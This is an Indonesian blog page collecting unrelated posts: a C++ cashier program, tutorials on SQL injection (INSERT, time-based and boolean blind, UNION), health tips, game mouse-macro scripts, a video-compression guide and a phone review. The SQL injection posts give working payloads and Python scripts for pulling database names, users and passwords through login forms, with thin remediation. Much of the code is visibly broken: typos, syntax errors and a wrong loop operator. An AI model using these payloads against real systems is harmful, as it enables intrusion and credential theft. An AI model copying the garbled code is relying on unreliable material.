Halaman

    Social Items

Contoh Program Kasir Restoran Sederhana



Halo sobat, kali ini mimin mau share Program sederhana kasir restoran. Disini mimin share program C++ dengan menggunakan if else, switc case, for, while, dan do while. Caranya cukup mudah yang terpenting sobat sudah memahami bahasa pemrograman C++.

Pembuatan program ini mimin akan menggunakan beberapa statement dari bahasa C++ antara lain. Looping atau perulangan seperti for, while, do while, dan sebagainya. kemudian pengkodisian atau statement control seperti if, if else, switc case dan lain sebagainya.

Buat seuah Program kasir rumah makan, diaman program dapat menampilkan menu makanan dan dapat memilih menu makanan yang diinginkan.
kemudian program dapat melakukan pembayaran dan total jumlah pembayaran. contoh program c++ kasir ini menggunakan use case pada bahasa C++

Source code


#include<iostream>
using namespace std;
int main (){
    int kode,pri,jml,tot,byr,kbl;
    char mad;
    do 
    {
    cout<<"               RUMAH MAKAN               "<<endl;
    cout<<"            NASI BALAP PUYUNG            "<<endl;
    cout<<"        Aplikasi kasir rumah makan       "<<endl;
    cout<<"============================================"<<endl;
    cout<<""<<endl;
    cout<<"Menu Makanan        Harga"<<endl;
    cout<<"1. AYAM GORENG        Rp. 10.000"<<endl;
    cout<<"2. NASI GORENG        Rp.  8.000"<<endl;
    cout<<"3. MIE PANGSIT        Rp. 10.000"<<endl;
    cout<<"4. NASI BALAP PUYUNG  Rp. 12.000"<<endl;
    cout<<"5. NASI CAMPUR        Rp.  8.000"<<endl;
    cout<<"6. JUS JERUK          Rp.  6.000"<<endl;
    cout<<"7. AIR GELAS          Rp.    500"<<endl;
    cout<<'n'<<"MASUKKAN PILIHAN ANDA :";
    cin>>kode;
    switch (kode){
    case 1:
        cout<<'n'<<"AYAM GORENG"<<endl;
        pri=10000;
        cout<<"Masukkan Jumlah :";
        cin>>jml;
            tot=pri*jml;
        cout<<"Total harganya yaitu : Rp. "<<tot<<endl;
        cout<<"DIBAYAR : Rp. ";
        cin>>byr;
            kbl=byr-tot;
        cout<<"KEMBALI : Rp. "<<kbl<<endl;
        cout<<"Masih ada Y/T :";
        cin>>mad;
        break;
    case 2:
        cout<<'n'<<"NASI GORENG"<<endl;
            pri=8000;
        cout<<"Masukkan Jumlah :";
        cin>>jml;
            tot=pri*jml;
        cout<<"Total harganya yaitu : Rp. "<<tot<<endl;
        cout<<"DIBAYAR : Rp. ";
        cin>>byr;
            kbl=byr-tot;
        cout<<"KEMBALI : Rp. "<<kbl<<endl;
        cout<<"Masih ada Y/T :";
        cin>>mad;
        break;
    case 3:
        cout<<'n'<<"MIE PANGSIT"<<endl;
            pri=10000;
        cout<<"Masukkan Jumlah :";
        cin>>jml;
            tot=pri*jml;
        cout<<"Total harganya yaitu : Rp. "<<tot<<endl;
        cout<<"DIBAYAR : Rp. ";
        cin>>byr;
            kbl=byr-tot;
        cout<<"KEMBALI : Rp. "<<kbl<<endl;
        cout<<"Masih ada Y/T :";
        cin>>mad;
        break;
    case 4:
        cout<<'n'<<"NASI BALAP PUYUNG"<<endl;
            pri=12000;
        cout<<"Masukkan Jumlah :";
        cin>>jml;
            tot=pri*jml;
        cout<<"Total harganya yaitu : Rp. "<<tot<<endl;
        cout<<"DIBAYAR : Rp. ";
        cin>>byr;
            kbl=byr-tot;
        cout<<"KEMBALI : Rp. "<<kbl<<endl;
        cout<<"Masih ada Y/T :";
        cin>>mad;
        break;
    case 5:
        cout<<'n'<<"NASI CAMPUR"<<endl;
            pri=8000;
        cout<<"Masukkan Jumlah :";
        cin>>jml;
            tot=pri*jml;
        cout<<"Total harganya yaitu : Rp. "<<tot<<endl;
        cout<<"DIBAYAR : Rp. ";
        cin>>byr;
            kbl=byr-tot;
        cout<<"KEMBALI : Rp. "<<kbl<<endl;
        cout<<"Masih ada Y/T :";
        cin>>mad;
        break;
    case 6:
        cout<<'n'<<"JUS JERUK"<<endl;
            pri=6000;
        cout<<"Masukkan Jumlah :";
        cin>>jml;
            tot=pri*jml;
        cout<<"Total harganya yaitu : Rp. "<<tot<<endl;
        cout<<"DIBAYAR : Rp. ";
        cin>>byr;
            kbl=byr-tot;
        cout<<"KEMBALI : Rp. "<<kbl<<endl;
        cout<<"Masih ada Y/T :";
        cin>>mad;
        break;
    case 7:
        cout<<'n'<<"AIR GELAS"<<endl;
            pri=500;
        cout<<"Masukkan Jumlah :";
        cin>>jml;
            tot=pri*jml;
        cout<<"Total harganya yaitu : Rp. "<<tot<<endl;
        cout<<"DIBAYAR : Rp. ";
        cin>>byr;
            kbl=byr-tot;
        cout<<"KEMBALI : Rp. "<<kbl<<endl;
        cout<<"Masih ada Y/T :";
        cin>>mad;
        break;
    default:
    cout<<"Kode yang anda masukkan tidak ada";
    }
    } 
    while (mad/='Y');
    cout<<"Terimah Kasih Atas Kunjungan Anda WARUNG NASI BALAP PUYUNG";
    return 0;

}


Hasilnya :


Silakan dicoba ya, jika ada kesalahan dalam cooding. beri tahu mimin di kolom komentar ;)

Contoh Program Kasir Restoran Sederhana


SQL Injection Pada Proses INSERT


Sebelum masuk bagaimana cara untuk menginject pada proses Insert, kalian bisa download filenya di https://goo.gl/mMn6Vg
Ini adalah cara untuk menginject sesuatu dengan cara INSERT. Dengan contoh kasus yang saya berikan link di atas.

Kita akan test untuk mengirim pesan pada form kirim pesan pada contoh kasus yang saya berikan.
jika di isikan Test pada nama dan Pesan maka tidak akan masuk apa apa di dalam Guest Book.
 Untuk statement  untuk INSERT database :

- - $input1           test’, database()) - -

INSERT INTO tabel (kolom1, kolom2, kolom3)
VALUES (‘vall’, ‘test’, database()) - - ‘, ‘{$input2}’);

Program di atas adalah logika untuk statement INSERT, jika di masukkan didalam from kirim pesan

name : test’, database()) - -
pesannya : sfasfafasfasdg (pesan asal)

maka akan muncul “pesan tersimpan”


Dan berarti kita sudah benar menebak jumlah kolom pada database tersebut.
Jika ingin mengetahui nama user pada web tersebut bisa menggunakan program ini didalam from kirim pesan :

name : test’, database()) - -
pesannya : sfasfafasfasdg (pesan asal)

perbedaannya hanya pada statement setelah test’ lalu akan muncul nama user yang sesuai tertera pada web tersebut. Dan jika
Penjelasan statement

test’ =  nama dari defaultnya
database() = memanggil fungsi database dan akan muncul nama databasenya
user() = memanggil fungsi user dan akan muncul nama usernya

Cara untuk mengamankan input 1 yaitu dengan mengganti dan menambahkan beberapa program berikut ini pada gbpost.php :

<?php
Session_start();
Include ‘koneksi.php’;

$nama = mysqli_real escape_string($conn, $_POST[‘nama’]);
$pesan = $_POST[‘pesan’];

$insert = mysqli_query($conn, “INSERT INTO guestbook (id, tanggal, nama, pesan) VALUES(NULL, NOW(), ‘{$nama}’, ‘{$pesan}’)”);

jika penggalan program sudah di edit, lalu di kirim kembali pesan yang sama dari sebelumnya maka akan ditampilkan :


Kita tidak bisa lagi menjalankan yang tadi, dan akan menampilkan data apa adanya (real) sesuai apa yang di input dalam form nama. Dan kita sudah tidak berahasil menginject kolom nama. Tapi bagaimana dengan kolom pesannya? Oke kita lanjut untuk mengamankan kolom pesan.
Tahap selanjutnya untuk input yang 1 sudah aman, maka yang harus diamankan juga di input yang kedua. Dengan logika seperti di bawah ini :

- - $input1           aman
- - $input2           test’), (NULL, database(), user()) - -

INSERT INTO tabel (kolom1, kolom2, kolom3)
VALUES (‘vall’, ‘input1’, ‘test’), (NULL, database(), user()) - - ‘);

Dan kita akan tetap bisa mendapatkan informasi dari database dengan teknik  BLIND SQL INECTION dan Time Based, jadi walaupun insert bisa juga dengan BLIND dan time based. Ini adalah statementa yang dimasukkan ke dalam form pesan:

Test’), (NULL, NOW(), (IF(database() = ‘blog’, sleep(5), 0)), user()) - -


SQL Injection Pada Proses Insert


BLIND SQL Injection berbasis waktu (time-based)


Sama seperti contoh kasus sebelumnya, jika belum membaca bisa klik link di bawah sini 
hanya saja perbedaannya BLIND kali ini menggunakan waktu atau based time, menunggu beberapa detik untuk mengetahui benar atau salahnya.
Jadi untuk membedakan benar atau salah kita memanfaatkan waktu. Misalkan jika pernyataan benar maka kita tunda eksekusinya 3 detik. Dengan fungsi Sleep(3) dan jika salah tidak di apa apakan. Dalam kasus ini saya mempunyai database dengan nama ‘blog’
Dengan kode program di bawah ini :

xyz’OR IF(1=1, sleep(3), 0) - - 

Dan akan menunggu selama 3 detik dulu. Menunggu respon sesuai dari program. Karena barbasis waktu kita perlu menunggu dan juga kita sulit membedakan itu waktu koneksi (koneksi yang bermasalah) atau webnya ‘sleep’.

Sekarang kita akan coba Brute Force, prinsipnya sama dengan blind SQLi. Dengan kode program di bawah ini :

xyz’OR IF(substring(database(), 1, 1)= ‘a’, sleep(3), 0) - -

jika di submit maka akan muncul “login sedang disable”


Disini bisa di ketahui bahwa huruf a bukan dari nama depan database target, selanjutnya bisa langsung mencoba dengan huruf selanjutnya.

xyz’OR IF(substring(database(), 1, 1)= ‘b’, sleep(3), 0) - -

jika di masukkan ‘b’ akan muncul


Bisa di lihat di kursor dia akan melambar selama 3 detik, jika. Dia melambat selama 3 detik berarti bisa di ketahui bahwa huruf depan dalam database adalah ‘b’, selanjutnya lakukan pengimputan huruf ke 2 sampai selesai. Dengan kode program seperti :

xyz’OR IF(substring(database(), 2, 1)= ‘a’, sleep(3), 0) - -

lakukan hingga selesai.

Ada cara yang lebih mudah sama seperti metode bling yang sebelumnya dengan menggunakan script Phyton, jadi akan muncul secara otomatis dan tidak di input satu satu dalam form login.
Buat program baru, lalu masukkan kode program seperti ini :

import requests
import sys
import time
url : ‘http://localhost/blog/andmin_login.php’   //ini adalah url targetnya
for c in range 1, 20);
for c in range(0x20, 0x7f);

username = “xyz’ OR IF(BINARY substring(database(), %d, 1) = ‘%s’ , sleep(3), 0) - - “ %(i, (chr(c))
password = “12345” //option saja bebas di isi apa saja

form =  {‘username’ : uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
print ‘’

dengan kode program di atas kita bisa mengetahui nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan ditampilkan seperti ini :


Dan selain bisa tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja yang ada di dalam database tersebut.



SQL Injection Metode BLIND Berbasis Waktu (Time-Based)


BLIND  SQL INJECTION


Blind SQL Ini adalah metode hacking yang memungkinkan seorang Attacker yang tidak sah untuk mengakses server database.
Hal ini difasilitasi oleh sebuah kesalahan pengkodean umum: program menerima data dari klien dan mengeksekusi query SQL tanpa terlebih dahulu memvalidasi masukan klien.

Dalam contoh kasus yang saya miliki, dalam page Login Admin dengan penggalan program seperti di bawah ini :

if (isset($_POST[‘submin’])){
                $username = $_POST[‘username’];
                $password = $_POST[‘password’];
                $login = mysqli_query($conn, *SELECT * FROM user WHERE username = ‘{username}’ AND password}’”);
                if (mysqli_num_rows(%login) == 0){
                                die(“Username atau password salah!”);
                } else {
                                $_SESSION[‘admin’] = 1;
                                Header(“Location: admin.php”);
}
}

Dalam penggalan program di atas bisa di lihat tidak di tampilkan hasil querynya, hanya dicek dua kondisi.
Yang pertama kalau kondisi salah :
            
if (mysqli_num_rows(%login) == 0){
                                die(“Username atau password salah!”);
}

Dan yang kedua kondisi benar :

$_SESSION[‘admin’] = 1;
                                Header(“Location: admin.php”);

Dalam dua kondisi tersebut bisa di manfaatkan untuk mengambil data dari suatu database bahkan jika SELECT * FROM user WHERE username ditampilkan hasil Querynya, yaitu teknik dengan BLIND
Selanjutnya kita akan mencari tahu dan masuk ke dalam halaman Admin dengan mencoba di page login, (dengan nama database saya ‘blog’ ini adalah syntact programnya:
Dalam username di isi dengan memanfaatkan fungsi substring, jadi kita cek satu persatu huruf nya

Xyz’ OR BINARY substring(database(), 1, 1) =’a’ --

Program di atas, dicek apakah huruf pertama dari database itu sama dengan ‘a’.  

maka akan muncul



Jika program di atas salah, berarti huruf depan database bukan ‘a’ maka di coba kembali dengan huruf lain hingga ada yang benar.
dan ini adalah program yang benar
Xyz’ OR BINARY substring(database(), 1, 1) =’b’ --          



  
Kenapa bisa benar? Karena dalam nama database yang saya miliki huruf depannya ‘b’ dalam ‘blog’, selanjutnya jika ingin mencari huruf kedua sampai selanjutnya masukkan program

Xyz’ OR BINARY substring(database(), 2, 1) =’a’ - -

Dan seterusnya hingga dapat nama database “body”.
Jika menggunakan cara seperti tadi kurang efektif bisa menggunakan scrip phyton seperti modul request ke halaman web tadi.
Buat program baru, lalu masukkan kode program seperti ini :
import requests
url : ‘http://localhost/blog/andmin_login.php’   //ini adalah url targetnya
for c in range 1, 10);
for c in range(0x20, 0x7f);

username = “xyz’ OR BINARY substring(database(), 1, 1= ‘%s’ - -  ” % (chr(c))
password = “12345” //option saja bebas di isi apa saja

form =  {‘username’ : uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
if “Halaman administrasi blog” in response.text;
                status = True
elif “Username atau password salah!” in response.text;
                status = False
if status == True ;
                print chr(c)
break
dengan kode program di atas kita bisa mengetahui nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan ditampilkan seperti ini :


Dan selain bisa tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja yang ada di dalam database tersebut.


SQL Injection Dengan Metode BLIND


SQL Injection dengan Teknik Union


SQL injection dengan Teknik Union yaitu untuk menggabungkan hasil query dengan query yang lainnya. dan saya juga akan menjelaskan bagaimana cara kita untuk memgamankan dan mencegah database kita dari serangan pencuri (hacker)
Misalnya dalam tabel post yang anda punya. Disini saya mencontohkan syntact yang saya punya.

SELECT * FROM post WHERE id = 1

kalau seperti itu query normalnya akan menghasilkan satu baris saja, kalau syntact di atas itu biasanya kita bisa melihat isi databasenya dengan Teknik Union dengan di tambahkan :

SELECT * FROM post WHERE id = 1 UNION SELECT 1,2,3,4

UNION SELECT 1,2,3,4 (harus sesuai dengan kolom yang anda punya) yaitu kita menselect angka 1 sampai dengan 4, kalau di jalankan di SQLnya maka akan muncul di baris pertama itu berasal dari tabel post dan baris ke dua itu dari SELECT 1,2,3,4 dari hasil union tadi.

Dan bagaimana cara kita dapetnya cuma yang SELECT 1,2,3,4, yaitu dengan cara kita mengembalikan hasil querynya untuk tidak menghasilkan apapun.
cara agar mendapatkan SELECT 1,2,3,4 :
1. Dengan cara menambahkan ID yang besar
                contoh : SELECT * FROM post WHERE id = 9999 UNION SELECT 1,2,3,4
2. Dengan cara menambahkan syntact AND 1=2
                contoh : SELECT * FROM post WHERE id = 1 AND 1=2 UNION SELECT 1,2,3,4

Dalam syntact SELECT * FROM post WHERE id = 9999 UNION SELECT 1,2,3,4. Di nomer dua dan 4 bisa di isi dengan apapun, bisa juga diisi dengan fungsi mysql.

Contoh : SELECT * FROM post WHERE id = 9999 UNION SELECT 1,database(),3, user()

fungsi di atas yaitu untuk mengembalikan nama user dan nama database yang aktif saat ini. Selanjutnya Masukkan input pada web 9999 UNION SELECT 1,database(),3, user(). maka akan di tampilkan nama user dan nama database yang aktif yang di pakai di aplikasi tersebut.

Cara terakhir untuk mendapatkan ID, USERNAME, PASSWORD, dan EMAIL dengan cara teknik union yaitu dengan menambahkan :

SELECT * FROM post WHERE id = 9999 UNION SELECT 1, group_concat(column name), 3, 3 FROM information_schema.columns WHERE table_schema = 'blog' AND table_name = 'user'

maka akan muncul Seperti ini :



Dengan Proteksi simpel seperti ini kita dapat mencegah database kita dari serangan jahat atau pencuri (hacker) yang ingin mengambil data data di dalam database kita.

SQL Injection dengan Teknik Union

Alasan Gorengan Sangat Buruk untuk Kesehatan



Halo sobat, kali ini mimin mau bahas bayanya gorengan untuk kesehatan. Gorengan sudah menjadi salah satu cemilan favorit di seluruh dunia, termasuk Indonesia. Berbagai jenis gorengan memang menggugah selara, kadang kita mengabaikan imbauan dan dakta bahwa gorengan sangatlah tidak sehat.

Dikutio dari WebMD, Orang yang mengkonsumsi makanan digoreng seperti gorengan tiga kali dalam seminggu memiliki 7 persen resiko terkena serangan jantung dan stoke lebih tinggi dibandingkan mereka yang hanya memakan sekali dalam seminggu. Jika sobat mengkonsumsinya setiap hari, resiko bisa menjadi 14 persen lebih tinggi.


Beberapa riset lampau juga mengaitkan antara makanan yang digoreng dengan penyakit kronis, seperti diabetes tipe 2, gagal jantung, obesitas dan tekanan darah tinggi. Secara umum, makanan yang digoreng tidak sehat karena proses menggoreng menambahkan banyak lemak dan kalori ekstra.

"Coba dibandingkan seberapa banyak minyak zaitun yang kamu tuang di atas salad versus makanan yang terendam di dalam minyak saat kamu memasaknya. Kalori bisa langsung melonjak," jelas Dr Eugenia Gianos, direktur Women's Heart Health di lenox Hill Hospital.


Banyak orang-orang juga tak menyadari bahwa mereka memakan makanan yang digoreng, seperti donat misalnya. Dr White menegaskan bahwa makanan apapun yang renyah, krispi atau berwarna kuning keemasan, kemungkinan besar itu digoreng.

Maka saran mimin, kurangi makanan yang digoreng. Apalagi makan gorengan yang sering dijual di pinggir jalan. semoga artikel ini bermanfaat, tetap jaga kesehatan ya sobat.

Alasan Gorengan Sangat Buruk untuk Kesehatan

Script Mouse Macro X7 Spider XL-747H untuk Point Blank


Sebelum sobat menggunakan Script Mouse Macro X7nya alangkah baiknya mimin jelasin sedikit nih tentang Script Macro. Apa sobat sudah mengetahui apa itu Script Macro? yuk kita bahas bareng-bareng.

Script Macro adalah suatu perintah dalam bentuk file yang dilakukan terus menerus atau berulang-ulang untuk memudahkan kerja suatu objek pada mouse. Script Macro ini banyak fungsi danjenisnya. Bahkan setiap produsen Mouse Scriptnya berbeda-beda. Karena game Point Blank dominan dengan Mouse Macro X7.

Sobat akan mendapatkan Script AUG, P90, Shotgun, dan Sniper/AWP.

Bagi sobat yang ingin menggunakan Mouse Macro X7 untuk bermain game Point Blank sobat bisa download Driber Mouse Macro X7 dibawah sini ya.

Driver Mouse Macro X7 4ATECH Spider XL-747H



Subscribe untuk menunjukkan 
dukungan kamu kepada channel ini :



Download Script AUG, P90, SG, AWP





Script Mouse Macro X7 Spider XL-747H Point Blank

Driver Mouse Macro X7 A4TECH SPIDER XL-747H



Mouse macro X7 A4TECH ini adalah kategori mouse yang sering dicari dan diinginkan, selain kualitasnya yang cukup bagus, mouse ini harganya tidak terlalu mahal. Nah jika sobat memiliki mouse macro X7 SPIDER XL-747H tapi tidak memiliki software buat setting mousenya, sobat bisa download software yang telah di sediakan di bawah.




Subscribe untuk menunjukkan 
dukungan kamu kepada channel ini :




Download Mouse Macro X7 Spider XL-747H :



Driver Mouse X7 A4TECH SPIDER XL-747H



3 Kebiasaan Mudah yang Bisa Jaga Kesehatanmu


Jaman sekarang memang paling sulit banget untuk menjaga kesehatan, jaman dimana dunia modern dengan kebiasaan yang buruk. Pola makan dan tidur yang buruk, apalagi kekurangan olahraga.

Apalagi generasi milenial yang kebanyakan malas untuk olahraga, padahal olahraga itu sangat penting loh sobat. Nah kali ini mimin mau bahas kebiasaan sobat yang bisa jaga kesehatan.

1. Bergerak sesuai yang sobat senangi


Olahraga sangat esensial untuk kesehatan baik usia muda maupun tua. Namum bagi anak muda, merutinkan olahraga sangat bagus untuk terhindar dari penyakit, awet muda, dan lain lain.

Saat usia muda itulah waktu yang sangat bagus untuk membiasakan berolaharaga. Misalnya sobat mencoba menikmati olahraga Gym, dan tak terasa sobat akan terbiasa untuk memprioritaskan waktu untuk hal tersebut walau sesibuk apapun.

Temukan aktivitas yang sobat senangi, mau olahraga di luar atau di dalam ruangan sama saja. Kalau sobat belum menemukan olahraga yang sobat senangi, coba mulai untuk mencoba beberapa olahraga ringan terlebih dahulu. Agar tubuh sobat bisa terjaga kesehatannya.

Baca juga : 5 Gerakan Bisa Bikin Kamu Kurus

2. Sering masak daripada membeli


Anak muda jaman sekarang mungkin akan lebih nyaman untuk membeli makan denga cara instan, apalagi banyak transportasi online yang sudah menyediakan layanan antar makanan. Jadi kemalasan sobat untuk memasak makin menjadi.

Padahal memasak itu tidak perlu skill yang sangat tinggi loh sobat, sobat Cuma harus bisa bagaimana dasar-dasar memasak. Sobat bisa membiasakan diri untuk mulai memasak dan mempersiapkan bahan-bahannya. Dengan memasak, sobat jadi bisa eksperimen tentang bagaimana rasa yang sobat inginkan, seberapa banyak yang sobat ingin masak.

Apalagi sudah di dukung dengan social media, dimana sobat bisa mempelajarinya lewat internet, ingat sobat jangan malas dari pada membeli, coba memasak.

3. Jangan Stres


Dengan gaya hidup yang modern, tercatat generasi muda atau yang biasa disebut generasi milenial tercatat tinggi soal mengalami depresi dan stres. Oleh karena itu, sangat penting sobat untuk menyisihkan waktu untuk olahraga, quality time bareng temen, bersantai. Dan masih banyak yang lainnya.
Mungkin itu saja yang kali ini mimin mau bagikan, untuk di jaman modern ini khususnya generasi milenial. Pesan mimin agar biasakan berolahraga, untuk kesehatan sobat kedepannya. Semoga bermanfaat yaa.

3 Kebiasaan Mudah yang Bisa Jaga Kesehatanmu


Cara Memperkecil Ukuran Video Menggunakan Handbrake


Halo sobat, kali ini kita akan membahas tentang bagaimana cara untuk memperkecil ukuran video menggunakan Software Handbrake. Sebelum kita masuk kepembahasannya ada baiknya mimin, mau kasih tau apa itu handbrake.

Jadi, Handbrake itu adalah suatu software yang berguna untuk memperkecil ukuran video dan bukan hanya itu. Handbrake juga mempunyai vitur-vitur yang lainnya. Seperti mengganti tipe video, yang tadinya mov bisa menjadi h264. Yuk langsung aja nih kita bahas bagaimana memperkecil ukuran video menggunakan handbrake.

Ini adalah beberapa langkah-langkahnya:

1. Install Aplikasi Handbrake terlebih dahulu.

2. Ketika sudah diinstall, buka aplikasi tersebut dan masukkan video yang akan kalian perkecil ukurannya.



3. Selanjutnya Sobat bisa perhatikan dulu, di bawah ini adalah gambar yang mimin drop untuk di perkecil ukuran videonya. Dengan Size 173 MB


4. Ketika File sudah di pilih maka, sobat akan masuk seperti gambar dibawah ini. Pada bagian ini sobat hanya memerlukan dalam vitur video saja. Tidak usah ke vitur yang lainnya.



5. Atur pada bagian Quality Constant Quality menjadi 25. mungkin sebelumnya video dimilik sobat lebih kecil dari pada 25. Maka sobat harus pindahkan menjadi 25. Agar suara dan tampilannya tidak pecah.

6. Setelah itu sobat Klik Browse untuk menyimpan hasil dari video yang sudah di perkecil, dan langsung Klik Start Encode


7. langkah terakhir sobat tinggal menunggu hasil rendering dari video tersebut.


8. Ketika sudah selesai sobat bisa langsung melihat hasil dari video yang diperkecil ukurannya, sesuai dengan tempat yang sobat simpan.


Nah, gimana sobat? bisa lihat perbandingannya. Foto sebelah kiri dari yang hasilnya 173 MB menjadi 17.6 MB. 155,5 MB yang terbuang, mudah bukan. Kalau sobat ingin melihat video lebih lengkapnya bisa langsung klik link di bawah :


Disana akan diupdate video dari bagaimana cara untuk memperkecil ukuran video menggunakan Handbrake. 

Oke segini dulu untuk kali ini, semoga bermanfaat :)

Cara Memperkecil Ukuran Video Menggunakan Handbrake


Harga dan Spesifikasi Xiaomi Redmi Note 7: Ini Kekurangan dan Kelebihannya


Bulan April 2019 para penggemar Xiaomi tengah dihebohkan dengan dirilisnya Xiaomi Redmi Note 7. Pasalnya Xiaomi Redmi Note 7 memiliki kamera utama dengan resolusi 48 megapiksel. Dengan kemampuan sehabat itu gak heran lagi kalau banyak yang ingin membeli Xiaomi Redmi Note 7.
Dan kabar baiknya Xiaomi Redmi Note 7 ini sudah dirilis di Indonesia. Yuk langsung kita bahas kekurangan dan kelebihan dari Smartphone ini.

Kelebihan

1. Kamera utama 48 Megapiksel
Besarnya resolusi kamera utama Xiaomi Redmi Note 7 ini tentu menjadi daya tarik utama ponsel ini. Pasalnya Redmi Note 7 ini di bekali dengan dua kamera di belakang 48 MP + 5 MP dan LED Flash, sementara kamera depannya beresolusi 13 MP yang sudah cukup baik untuk mengakomodasi foto selfie dan Video Call.


2. Fingerpint
Fingerprint yang hadir oada bagian belakang Xiaomi Redmi Note 7 ini membuat fasilitas yang dimiliki ponsel ini makin lengkap.



3. Baterai
Dengan menggunakan baterai 4000 mAh, Redmi by Xiaomi mengklaim bahwa Redmi Note 7 ini mampu bertahan selama 1 hari penuh dalam pemakaian normal.

4. Hardware
Xiaomi Redmi Note 7 dibekali chipset Qualcomm Snapdragon 660 Octa-core, dengan paduan RAM yang mempunyai pilihan 3 GB, 4 GB, atau 6 GB dan Storage internaldengan pilihan 32 GB dan 64 GB.


5. Layar
Untuk layar IP dengan lebar 6,3 inchi berteknologi IPS dan beraspek rasio 19,5:9 yang memenuhi bagian depan.


6. Harga
Xiaomi Redmi Note 7 dibandrol seharga Rp. 1.999.000 untuk Varian Ram dan Storage 3 GB/32 GB, sedangkan untuk Varian 4 GB/ 64 GB seharga Rp. 2.599.000. dan Xiaomi menjanjikan garansi hingga 18 bulan.

Kelemahan

1. Slot Hybrid
Xiaomi Redmi Note 7 hanya dibekali dengan slot kartu SIM Hybrid. Hal ini membuat penggunanya harus memilih untuk menggunakan dua kartu SIM tanpa micro SD atau satu kartu SIM satu kartu Micro SD.

ini adalah tampilan jika Xiaomi Redmi Note 7 di preteli


Mungkin itu saja yang bisa mimin jelasin dari kelebihan dan kekurangan dari Xiaomi Redmi Note 7, semoga bisa menginspirasi sobat-sobat untuk membeli smartphone ini. Semoga bermanfaat, dan terima kasih.


Harga dan Spesifikasi Xiaomi Redmi Note 7: Ini Kekurangan dan Kelebihannya